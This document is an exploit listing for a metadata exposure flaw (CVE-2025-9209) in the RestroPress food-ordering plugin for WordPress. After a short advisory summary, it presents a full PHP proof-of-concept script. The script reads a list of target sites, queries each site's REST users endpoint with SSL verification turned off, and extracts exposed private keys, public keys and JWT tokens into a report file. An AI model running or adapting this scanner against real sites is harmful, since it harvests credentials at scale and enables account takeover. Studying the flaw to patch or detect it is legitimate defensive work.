Share
## https://sploitus.com/exploit?id=PACKETSTORM:216299
=============================================================================================================================================
    | # Title     : WordPress RestroPress Online Food Ordering System 3.1.9.2 User Metadata Exposure Scanner                                    |
    | # Author    : indoushka                                                                                                                   |
    | # Tested on : windows 11 Fr(Pro) / browser : Mozilla firefox 145.0.1 (64 bits)                                                            |
    | # Vendor    : https://wordpress.org/plugins/restropress/                                                                                  |
    =============================================================================================================================================
    
    [+] References : https://packetstorm.news/files/id/211375/ & 	CVE-2025-9209
    
    [+] Summary : 
    
    A security weakness allows unauthorized enumeration of user metadata through
    the WordPress REST API endpoint:
    
        /wp-json/wp/v2/users?per_page=100
    
    Some installations expose sensitive metadata fields, including:
    
        _rp_api_user_private_key     (bcrypt hashes)
        _rp_api_user_public_key      (hex or large key strings)
        _rp_api_user_token_key       (JWT tokens)
    
    An attacker could harvest sensitive information if these fields are not
    properly protected.
    
    Impact
    ------
    β€’ Leakage of private cryptographic material.  
    β€’ Exposure of valid JWT authentication tokens.  
    β€’ Potential privilege escalation.  
    β€’ Unauthorized customer information access.
    
    3. Poc
    
    save as scan.php
    
    save websites liste : sites.txt
    
    php scan.php
    
    --------------------------------
    
    <?php
    /**
     * Mass WordPress User Metadata Exposure Scanner
     * by Indoushka
     * Supports: Windows / Linux / macOS
     */
    
    error_reporting(E_ALL);
    ini_set("display_errors", 1);
    
    class WpExposureScanner {
    
        private $timeout     = 12;
        private $delay       = 0.2;
        private $sites       = [];
        private $results     = [];
    
        private $regex_bcrypt = '/^\$2[ayb]\$/';
        private $regex_jwt    = '/^eyJ[A-Za-z0-9_\-]+\.[A-Za-z0-9_\-]+\.[A-Za-z0-9_\-\.=]*/';
        private $regex_hex    = '/^[0-9a-fA-F]+$/';
    
        public function __construct($sites_file) {
            if (!file_exists($sites_file)) {
                die("❌ ملف Ψ§Ω„Ω…ΩˆΨ§Ω‚ΨΉ غير Ω…ΩˆΨ¬ΩˆΨ―.\n");
            }
    
            foreach (file($sites_file) as $line) {
                $s = trim($line);
                if (!$s) continue;
                if (!preg_match('/^https?:\/\//', $s)) {
                    $s = "https://" . $s;
                }
                $this->sites[] = rtrim($s, "/");
            }
        }
    
        private function http_get($url) {
            $ctx = stream_context_create([
                "http" => [
                    "timeout" => $this->timeout,
                    "header"  => "User-Agent: Mozilla/5.0\r\nAccept: application/json\r\n"
                ],
                "ssl" => [
                    "verify_peer"      => false,
                    "verify_peer_name" => false
                ]
            ]);
    
            $body = @file_get_contents($url, false, $ctx);
            $headers = isset($http_response_header) ? $http_response_header : [];
    
            return [$body, $headers];
        }
    
        private function parse_json_fuzzy($text) {
            if (!$text) return null;
            $start = strpos($text, "{");
            $startArr = strpos($text, "[");
            if ($startArr !== false && ($startArr < $start || $start === false)) $start = $startArr;
            if ($start === false) return null;
    
            $end = strrpos($text, "}");
            $endArr = strrpos($text, "]");
            if ($endArr !== false && ($endArr > $end)) $end = $endArr;
    
            if ($end <= $start) return null;
    
            $try = substr($text, $start, $end - $start + 1);
            return json_decode($try, true);
        }
    
        private function inspect_user($user) {
            $found = [];
            if (!isset($user["meta"])) return $found;
    
            $meta = $user["meta"];
            $uid  = $user["id"] ?? $user["ID"] ?? "0";
    
            if (isset($meta["_rp_api_user_private_key"])
                && preg_match($this->regex_bcrypt, $meta["_rp_api_user_private_key"])) {
                $found[] = [
                    "user_id" => $uid,
                    "meta_key" => "_rp_api_user_private_key",
                    "meta_value" => $meta["_rp_api_user_private_key"],
                    "kind" => "private_key"
                ];
            }
    
            if (isset($meta["_rp_api_user_public_key"])
                && (preg_match($this->regex_hex, $meta["_rp_api_user_public_key"]) ||
                    strlen($meta["_rp_api_user_public_key"]) > 40)) {
                $found[] = [
                    "user_id" => $uid,
                    "meta_key" => "_rp_api_user_public_key",
                    "meta_value" => $meta["_rp_api_user_public_key"],
                    "kind" => "public_key"
                ];
            }
    
            if (isset($meta["_rp_api_user_token_key"])
                && preg_match($this->regex_jwt, $meta["_rp_api_user_token_key"])) {
                $found[] = [
                    "user_id" => $uid,
                    "meta_key" => "_rp_api_user_token_key",
                    "meta_value" => $meta["_rp_api_user_token_key"],
                    "kind" => "token"
                ];
            }
    
            return $found;
        }
    
        public function scan() {
            foreach ($this->sites as $site) {
                $url = $site . "/wp-json/wp/v2/users?per_page=100";
    
                list($body, $hdr) = $this->http_get($url);
    
                $json = $this->parse_json_fuzzy($body);
    
                $exposures = [];
    
                if (is_array($json)) {
                    if (isset($json[0])) {
                        foreach ($json as $user) {
                            $f = $this->inspect_user($user);
                            if ($f) $exposures = array_merge($exposures, $f);
                        }
                    } else {
                        $f = $this->inspect_user($json);
                        if ($f) $exposures = array_merge($exposures, $f);
                    }
                }
    
                $this->results[$site] = $exposures;
    
                usleep($this->delay * 1e6);
            }
        }
    
        public function save_reports() {
            file_put_contents("exposures_php.txt", json_encode($this->results, JSON_PRETTY_PRINT | JSON_UNESCAPED_SLASHES));
        }
    }
    
    $scanner = new WpExposureScanner("sites.txt");
    $scanner->scan();
    $scanner->save_reports();
    
    echo "βœ” Done\n";
    ?>
    
    
    Greetings to :=====================================================================================
    jericho * Larry W. Cashdollar * LiquidWorm * Hussin-X * D4NB4R * Malvuln (John Page aka hyp3rlinx)|
    ===================================================================================================